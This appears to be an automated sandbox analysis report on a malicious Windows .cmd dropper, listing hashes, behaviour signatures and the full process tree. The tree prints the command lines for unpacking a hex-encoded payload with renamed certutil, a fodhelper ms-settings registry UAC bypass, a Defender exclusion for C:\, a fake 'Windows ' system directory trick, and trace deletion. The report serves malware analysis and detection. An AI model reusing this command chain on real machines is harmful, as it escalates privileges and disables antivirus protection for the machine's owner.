93d968f568f00ce7b437d827e29f0b1f72298552d293bce742f66a291ef48bb2

Analysis

max time kernel
142s
max time network
124s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
13-05-2024 12:34

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General

Target

doc023561361500.cmd
Size

3.5MB
MD5

dd0e66d9764dda9819678f30922aa6bd
SHA1

cc4937f70fc66f05c3c8d0df868a5bb82222a12c
SHA256

a092e4a960900082c38c3b96ba17b62efa3d8b7a558ea9964478afa459fcc1a5
SHA512

5279fbefb87e776e0c6cacd73610ff0ffada1f6493c01d39b5e44711cc37f1085bfa051f0e2235647f99a183b9c3bf1722dc3a0f760188b3c81b15c6de698206
SSDEEP

49152:uKh6qKOnA/Xl5c25Qnvo9pYPTLBOEKSKhFVq1ZDNBcKKBP78Vp+D6LWg:R

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 24 IoCs

pid	Process
2020	alpha.exe
3068	alpha.exe
2112	alpha.exe
2320	alpha.exe
2656	kn.exe
2740	alpha.exe
2632	alpha.exe
2536	alpha.exe
2076	alpha.exe
2552	xkn.exe
2544	alpha.exe
2584	ger.exe
3064	alpha.exe
2772	kn.exe
300	alpha.exe
1916	Ping_c.pif
2428	alpha.exe
2472	alpha.exe
2496	alpha.exe
876	alpha.exe
392	alpha.exe
528	alpha.exe
776	alpha.exe
1056	alpha.exe

Loads dropped DLL 17 IoCs

pid	Process
1216	cmd.exe
1216	cmd.exe
1216	cmd.exe
1216	cmd.exe
2320	alpha.exe
1216	cmd.exe
1216	cmd.exe
1216	cmd.exe
1216	cmd.exe
2076	alpha.exe
2552	xkn.exe
2552	xkn.exe
2552	xkn.exe
2544	alpha.exe
1216	cmd.exe
3064	alpha.exe
1216	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
1792	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell\open	ger.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1916	Ping_c.pif

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2552	xkn.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	xkn.exe
Token: SeDebugPrivilege	1792	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1216 wrote to memory of 2104	1216	cmd.exe	29
PID 1216 wrote to memory of 2104	1216	cmd.exe	29
PID 1216 wrote to memory of 2104	1216	cmd.exe	29
PID 1216 wrote to memory of 2020	1216	cmd.exe	30
PID 1216 wrote to memory of 2020	1216	cmd.exe	30
PID 1216 wrote to memory of 2020	1216	cmd.exe	30
PID 1216 wrote to memory of 3068	1216	cmd.exe	31
PID 1216 wrote to memory of 3068	1216	cmd.exe	31
PID 1216 wrote to memory of 3068	1216	cmd.exe	31
PID 1216 wrote to memory of 2112	1216	cmd.exe	32
PID 1216 wrote to memory of 2112	1216	cmd.exe	32
PID 1216 wrote to memory of 2112	1216	cmd.exe	32
PID 2112 wrote to memory of 1972	2112	alpha.exe	33
PID 2112 wrote to memory of 1972	2112	alpha.exe	33
PID 2112 wrote to memory of 1972	2112	alpha.exe	33
PID 1216 wrote to memory of 2320	1216	cmd.exe	34
PID 1216 wrote to memory of 2320	1216	cmd.exe	34
PID 1216 wrote to memory of 2320	1216	cmd.exe	34
PID 2320 wrote to memory of 2656	2320	alpha.exe	35
PID 2320 wrote to memory of 2656	2320	alpha.exe	35
PID 2320 wrote to memory of 2656	2320	alpha.exe	35
PID 1216 wrote to memory of 2740	1216	cmd.exe	36
PID 1216 wrote to memory of 2740	1216	cmd.exe	36
PID 1216 wrote to memory of 2740	1216	cmd.exe	36
PID 2740 wrote to memory of 2728	2740	alpha.exe	37
PID 2740 wrote to memory of 2728	2740	alpha.exe	37
PID 2740 wrote to memory of 2728	2740	alpha.exe	37
PID 1216 wrote to memory of 2632	1216	cmd.exe	38
PID 1216 wrote to memory of 2632	1216	cmd.exe	38
PID 1216 wrote to memory of 2632	1216	cmd.exe	38
PID 2632 wrote to memory of 2788	2632	alpha.exe	39
PID 2632 wrote to memory of 2788	2632	alpha.exe	39
PID 2632 wrote to memory of 2788	2632	alpha.exe	39
PID 1216 wrote to memory of 2536	1216	cmd.exe	40
PID 1216 wrote to memory of 2536	1216	cmd.exe	40
PID 1216 wrote to memory of 2536	1216	cmd.exe	40
PID 2536 wrote to memory of 2688	2536	alpha.exe	41
PID 2536 wrote to memory of 2688	2536	alpha.exe	41
PID 2536 wrote to memory of 2688	2536	alpha.exe	41
PID 1216 wrote to memory of 2076	1216	cmd.exe	42
PID 1216 wrote to memory of 2076	1216	cmd.exe	42
PID 1216 wrote to memory of 2076	1216	cmd.exe	42
PID 2076 wrote to memory of 2552	2076	alpha.exe	43
PID 2076 wrote to memory of 2552	2076	alpha.exe	43
PID 2076 wrote to memory of 2552	2076	alpha.exe	43
PID 2552 wrote to memory of 2544	2552	xkn.exe	44
PID 2552 wrote to memory of 2544	2552	xkn.exe	44
PID 2552 wrote to memory of 2544	2552	xkn.exe	44
PID 2544 wrote to memory of 2584	2544	alpha.exe	45
PID 2544 wrote to memory of 2584	2544	alpha.exe	45
PID 2544 wrote to memory of 2584	2544	alpha.exe	45
PID 1216 wrote to memory of 3064	1216	cmd.exe	46
PID 1216 wrote to memory of 3064	1216	cmd.exe	46
PID 1216 wrote to memory of 3064	1216	cmd.exe	46
PID 3064 wrote to memory of 2772	3064	alpha.exe	47
PID 3064 wrote to memory of 2772	3064	alpha.exe	47
PID 3064 wrote to memory of 2772	3064	alpha.exe	47
PID 1216 wrote to memory of 300	1216	cmd.exe	48
PID 1216 wrote to memory of 300	1216	cmd.exe	48
PID 1216 wrote to memory of 300	1216	cmd.exe	48
PID 300 wrote to memory of 1792	300	alpha.exe	49
PID 300 wrote to memory of 1792	300	alpha.exe	49
PID 300 wrote to memory of 1792	300	alpha.exe	49
PID 1216 wrote to memory of 1916	1216	cmd.exe	51

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1216
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:2104
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:1972
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
    3⤵
    - Executes dropped EXE
    PID:2656
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
    3⤵
    PID:2728
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2632
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
    3⤵
    PID:2788
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
    3⤵
    PID:2688
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Users\Public\xkn.exe
    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2552
  - - C:\Users\Public\alpha.exe
      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2544
    - - C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        5⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:2584
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
    3⤵
    - Executes dropped EXE
    PID:2772
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:300
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SystemSettings.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1792
- C:\Users\Public\Libraries\Ping_c.pif
  C:\Users\Public\Libraries\Ping_c.pif
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:1916
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
  2⤵
  - Executes dropped EXE
  PID:2428
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
  2⤵
  - Executes dropped EXE
  PID:2496
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:876
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:392
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:528
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:776
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:1056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Libraries\Ping_c.pif

Filesize
1.2MB

MD5
7ab12ae02c9531b7ffb6f4fbb24ee11d

SHA1
39eb62487ed993b200a0f015c10833643664b7a0

SHA256
96608d5d3810216c29d3e9ed53a0c004b7787da923f17922bf8af3405b85d90a

SHA512
eef676cc6928653d2b098ddfee4604dab46232fce3a20e32c7a2c505356c02d66b0cf045149bb4dd0e4b132635c639ddc006d482e502714ead7a7b64df3191c9

Download Submit
C:\Users\Public\Ping_c.mp4

Filesize
2.4MB

MD5
4563cccfc27b4ee87597a7e6e73e7924

SHA1
c5eac5e97193ce539f8b387c906abb7fc9c9488e

SHA256
e0b66384d8a8da0fc7921d7bda9e6ea51abe4477009f82d27d4588c3444baea3

SHA512
080f27b767139105dcc80d038a55b50413a934f4390bdc2f0271acde17b3a1e2eb90dee765de433b067b7deda9752ba5b6ab4470c12eddd4d36534dbb4b5351a

Download Submit
C:\Users\Public\alpha.exe

Filesize
337KB

MD5
5746bd7e255dd6a8afa06f7c42c1ba41

SHA1
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

SHA256
db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

SHA512
3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

Download Submit
C:\Users\Public\ger.exe

Filesize
73KB

MD5
9d0b3066fe3d1fd345e86bc7bcced9e4

SHA1
e05984a6671fcfecbc465e613d72d42bda35fd90

SHA256
4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e

SHA512
d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

Download Submit
\Users\Public\kn.exe

Filesize
1.1MB

MD5
ec1fd3050dbc40ec7e87ab99c7ca0b03

SHA1
ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

SHA256
1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

SHA512
4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

Download Submit
\Users\Public\xkn.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1916-75-0x0000000000400000-0x0000000000536000-memory.dmp

Filesize
1.2MB

Download
memory/2552-43-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2552-44-0x0000000000380000-0x0000000000388000-memory.dmp

Filesize
32KB

Download